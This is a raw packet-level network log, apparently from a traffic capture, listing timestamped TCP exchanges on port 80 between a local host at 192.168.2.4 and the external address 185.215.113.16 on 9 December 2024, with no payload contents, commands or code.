Dec 9, 2024 20:27:46.971983910 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.972090006 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.972135067 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.973110914 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.973253012 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.973305941 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.974220991 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.974324942 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.974375963 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.975225925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.975279093 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.975363016 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.975409031 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.976298094 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.976375103 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.976427078 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.977377892 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.977483034 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.977533102 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.978499889 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.978550911 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.978558064 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.979330063 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.979537964 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.979582071 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.979654074 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.979701042 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.980603933 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.980653048 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.980715990 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.980766058 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.981862068 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.981909990 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.981964111 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.982009888 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.982884884 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.982932091 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.982965946 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.983006001 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.983874083 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.984010935 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.984057903 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.984946966 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.985040903 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.985093117 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.986018896 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.986078978 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.986174107 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.986644030 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.987166882 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.987184048 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.987241983 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.987241983 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:46.988114119 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:46.988203049 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.123645067 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.123744965 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.123801947 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.123961926 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.124176025 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.124221087 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.124344110 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.124382973 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.125293970 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.125344038 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.125387907 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.125433922 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.126372099 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.126422882 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.126549006 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.126596928 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.127456903 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.127501011 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.127505064 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.127551079 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.128546953 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.128593922 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.128609896 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.128650904 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.129597902 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.129637957 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.129699945 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.129740953 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.130697012 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.130738974 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.130904913 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.130943060 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.131783962 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.131824970 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.131936073 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.131978035 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.132858038 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.132906914 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.132934093 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.132971048 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.134222984 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.134270906 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.134293079 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.134340048 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.135047913 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.135098934 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.135263920 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.135309935 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.136157990 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.136202097 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.136229992 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.136271954 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.137232065 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.137274981 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.137356997 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.137397051 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.138401031 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.138443947 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.138473034 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.138514996 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.139419079 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.139467955 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.139492035 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.139539003 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.140575886 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.140614033 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.140645981 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.140686989 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.141506910 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.141547918 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.141578913 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.141619921 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.142605066 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.142626047 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.142679930 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.142693996 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.143697977 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.143745899 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.143789053 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.143827915 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.144738913 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.144829035 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.144861937 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.144900084 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.145860910 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.145908117 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.145942926 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.145982981 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.146958113 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.147011995 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.147047997 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.147093058 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.148068905 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.148108959 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.148236990 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.148279905 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.149080992 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.149101973 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.149127960 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.149142027 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.150209904 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.150252104 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.150288105 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.150749922 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.151258945 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.151315928 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.151329994 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.151371956 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.152368069 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.152412891 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.152527094 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.152570963 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.153481007 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.153537989 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.153609037 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.153651953 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.154537916 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.154582024 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.154653072 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.154694080 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.155591965 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.155637026 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.155666113 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.155706882 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.156672955 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.156723022 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.156780958 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.156821966 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.157762051 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.157813072 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.157845974 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.157888889 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.158987999 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.159034014 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.159064054 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.159104109 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.159923077 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.159970999 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.160000086 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.160037994 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.161000967 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.161051989 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.161132097 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.161173105 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.162090063 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.162136078 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.162170887 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.162211895 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.163187027 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.163237095 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.163364887 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.163407087 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.164277077 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.164297104 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.164321899 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.164334059 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.165333033 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.165383101 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.165450096 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.165493011 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.166392088 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.166433096 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.166462898 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.166501045 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.167471886 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.167517900 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.167557955 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.167593002 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.168593884 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.168728113 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.168796062 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.168843985 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.169697046 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.169744015 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.169775009 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.169816971 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.170840979 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.170887947 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.170922041 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.170962095 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.171848059 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.171892881 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.171931982 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.171972036 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.172921896 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.172966003 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.173027992 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.173060894 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.174041033 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.174150944 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.174288034 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.174329042 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.175080061 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.175141096 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.175293922 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.175333023 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.176204920 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.176249981 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.176331043 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.176371098 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.177318096 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.177375078 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.177381039 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.177422047 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.178296089 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.178350925 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.178394079 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.178443909 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.179440975 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.179487944 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.179608107 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.179651022 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.180572987 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.180682898 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.315908909 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.315990925 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.316056967 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.316102982 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.316400051 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.316445112 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.316507101 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.316549063 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.317506075 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.317565918 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.317652941 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.317704916 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.318574905 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.318624973 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.318698883 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.318744898 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.319679976 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.319727898 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.319787979 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.319832087 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.320764065 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.320811033 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.320866108 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.320911884 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.321851015 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.321898937 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.321988106 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.322037935 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.322923899 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.322969913 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.322999001 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.323038101 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.323993921 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.324040890 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.324080944 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.324127913 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.325078964 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.325126886 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.325164080 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.325206041 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.326251984 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.326301098 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.326334953 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.326374054 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.327281952 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.327331066 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.327362061 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.327406883 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.328386068 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.328439951 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.328496933 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.328540087 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.329436064 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.329488039 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.329525948 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.329561949 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.330478907 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.330524921 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.330579996 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.330617905 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.331660032 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.331701994 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.331798077 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.331844091 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.332669020 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.332732916 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.332762003 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.332796097 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.333753109 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.333796978 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.333830118 CET	80	49766	185.215.113.16	192.168.2.4
